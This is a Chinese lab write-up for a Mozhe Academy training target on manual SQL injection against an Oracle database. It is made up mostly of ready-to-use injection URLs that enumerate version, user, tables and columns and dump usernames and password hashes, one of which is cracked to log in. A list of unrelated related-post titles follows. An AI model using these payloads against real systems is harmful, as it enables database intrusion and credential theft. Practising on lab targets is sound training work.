SQL手工注入漏洞测试(Oracle数据库)

0x01前言

本文旨在讲述Oracle数据库多种情况下如何进行注入

靶场地址:SQL手工注入漏洞测试(Oracle数据库)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 (mozhe.cn)

0x02 判断注入点

跟其他数据库一样,检测注入点都是可以通过拼接and语句进行判断。这里通过and 1=1 和and 1=2进行判断。实战中还可以通过延时函数进行判断。

http://124.70.71.251:44530/new_list.php?id=1%20and%201=1

http://124.70.71.251:44530/new_list.php?id=1%20and%201=2

0x03 显错注入

1、判断字段数为2

与其他注入一样,这里通过order by来判断字段数。因为order by 2页面正常,order by 3页面不正常,故判断当前字段数为2。

http://124.70.71.251:44530/new_list.php?id=1%20order%20by%202

http://124.70.71.251:44530/new_list.php?id=1%20order%20by%203

2、获取显错点

联合查询这里使用了union select,oracle数据库与mysql数据库不同点在于它对于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段使用字符型数据,整型字段使用整型数据才可以。如下,两个字段都为字符型,故使用union select ‘null’,‘null’。

(在有些情况下也采用union all select的形式进行联合查询。union all select与union select的不同点可以很容易理解为all表示输出所有,也就是当数据出现相同时,将所有数据都输出;union select则会将相同数据进行过滤,只输出其中一条。)

#联合查询
http://124.70.71.251:44530/new_list.php?id=-1%20union%20select%20null,null%20from%20dual
#修改null为'null',判断字段类型均为字符型
http://124.70.71.251:44530/new_list.php?id=-1%20union%20select%20%27null%27,%27null%27%20from%20dual  #%20为空格,%27为'

3、查询数据库版本信息
http://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual

4、获取当前数据库连接用户
http://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select sys_context('userenv','current_user') from dual) from dualhttp://124.70.71.251:44530/new_list.php?id=-1  union select '1',user from dual

5、查询当前数据库库名
http://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select instance_name from V$INSTANCE) from dual

6、查询数据库表名

查询表名一般查询admin或者user表

直接查询

获取第一个表名LOGMNR_SESSION_EVOLVE$

http://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual

获取第二个表名LOGMNR_GLOBAL$

http://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

获取第三个表名LOGMNR_GT_TAB_INCLUDE$

http://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual

模糊搜索查询

获取sns_users表名

http://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

7、查询数据库列名
直接查询
http://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dualhttp://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME') from dualhttp://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME') from dual……………http://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME' and column_name not in 'PROTOCOL' and column_name not in 'SPARE1' and column_name not in 'DB_USERNAME' and column_name not in 'OID' and column_name <> 'EVENTID' and column_name <> 'NAME' and column_name <> 'TABLE_OBJNO') from dual
模糊搜索查询
http://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%') from dualhttp://124.70.71.251:44530/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%' and column_name <> 'USER_NAME') from dual
8、查询数据库数据

获取账号密码字段内容

http://124.70.71.251:44530/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

http://124.70.71.251:44530/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'

http://124.70.71.251:44530/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'

9570dcac6c8648791b913003d4e6eff7 md5解密密码为:285523

用mozhe\285523登录得到key:

SQL手工注入漏洞测试(Oracle数据库)相关推荐

  1. Oracle数据库注入-墨者学院(SQL手工注入漏洞测试(Oracle数据库))

    本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Oracle数据库). 地址:http://124.70.22.208:42948/new_list.php?id=1(注意地址已 ...

  2. 墨者靶场-SQL手工注入漏洞测试(MySQL数据库-字符型)

    0x00 前言 我们都知道,SQL注入分数字型和字符型,我们上次讲的是最基本的数字型SQL注入,这次我们就来讲最基本的字符型SQL注入.同样,如果是明白原理和方法的话,看懂这篇文章并不难,但是如果不清 ...

  3. 墨者学院01 SQL手工注入漏洞测试(MySQL数据库)

    问题描述 鉴于我已经两周没能成功运行攻防世界的靶场环境...于是昨天又搜了一些网站,感觉墨者学院的题目还可以~ SQL手工注入虽然是一个已经被安全博主讲烂的主题,但是我之前很少有从头到尾实践手工注入的 ...

  4. 墨者学院刷题笔记——SQL手工注入漏洞测试(MongoDB数据库)

    今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL手工注入漏洞测试(MongoDB数据库). 一.题目简介 我们这里采用墨者学院的MongoDB数据库渗透测试题目,其地址为:https:/ ...

  5. MongoDB数据库注入-墨者学院(SQL手工注入漏洞测试(MongoDB数据库))

    本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(MongoDB数据库). 地址:http://124.70.71.251:46804/new_list.php?id=1(注意这里 ...

  6. 《墨者学院——SQL手工注入漏洞测试(MySQL数据库)》

    作者: susususuao 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 一:思路 背景介绍 安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭 ...

  7. SQL手工注入漏洞测试(Db2数据库)

    漏洞复现 用order by测试,发现可以,并测试到字段为4 用union select 1,2,3,4 发现失败 union select 1,2,3,4 from sysibm.systables ...

  8. 墨者 SQL手工注入漏洞测试(MySQL数据库)

    测试注入点 http://124.70.64.48:40014/new_list.php?id=1sdaf 不显示,说明存在注入点 order by http://124.70.64.48:40014 ...

  9. 墨者靶场:SQL手工注入漏洞测试(MySQL数据库)

    有一说一,本来是准备把笔记写在墨者的解题思路里的,结果不让写了,离谱 启动靶场后,会进入一个登录界面,界面下面有一个维修公告,打开公告. 1.判断有没有注入点: 219.153.49.228:4946 ...

最新文章

  1. Python 的一万种用法:制作 Web 可视化页面
  2. 分布式WebSocket架构
  3. 感知机算法的两种表示
  4. 12月7日 第二冲刺周期个人站立会议内容报告(第七天)
  5. wince6.0 s5pv210 中断
  6. vue添加html开启服务器_Vue 项目(HTML5 History 模式) 部署服务器
  7. 五大软件设计原则学习笔记5——依赖倒置原则
  8. 挑战Unity、UE4,曾戈祭出次世代VR引擎
  9. 面试时如何在众多Java工程师中脱颖而出
  10. coco 数据集_如何用 coco 数据集训练 Detectron2 模型?
  11. java随机抽题系统_2020税务师机考模拟系统全新上线,智能题库 随机组卷,快来试手...
  12. macbook历代_历代MAC机型配置汇总
  13. mmdetection使用目标检测工具箱训练,测试
  14. HDU 5855 Less Time, More profit(最大权闭合图)
  15. 微信小程序《难忘便签》开发记录
  16. 计算机网络——第四章、网络层
  17. noip冲刺计划(no regrets,no fear)
  18. 程序设计思维与实践 Week15 作业A - ZJM 与霍格沃兹
  19. 关于AHB-RAM的一些内容1
  20. 推荐几个比较好的日语翻译网站还有软件(我自己还没看过)

热门文章

  1. CES展会的技术亮点奠定2017年各个行业的基调
  2. android 记录血糖的折线图_画画血糖曲线图,你还可稳血糖!快试试
  3. 刘德华--3无线五年之约
  4. JCR分区(WOS或Thomson Reuters或汤姆森 路透)和中科院分区(附网址及查询方法)...
  5. 【刷机日志】LG V50S尝试刷LG G8X ROM
  6. 智能突触《Continual Learning Through Synaptic Intelligence》(SI)
  7. 基于SSM的二手书推荐系统(商城)
  8. ie浏览器打不开闪退_卸载并重装IE11后,IE浏览器闪退不能启动,win10 home 系统...
  9. 智能驾驶常见缩略词汇总
  10. PGL 系列(四)词向量 CBOW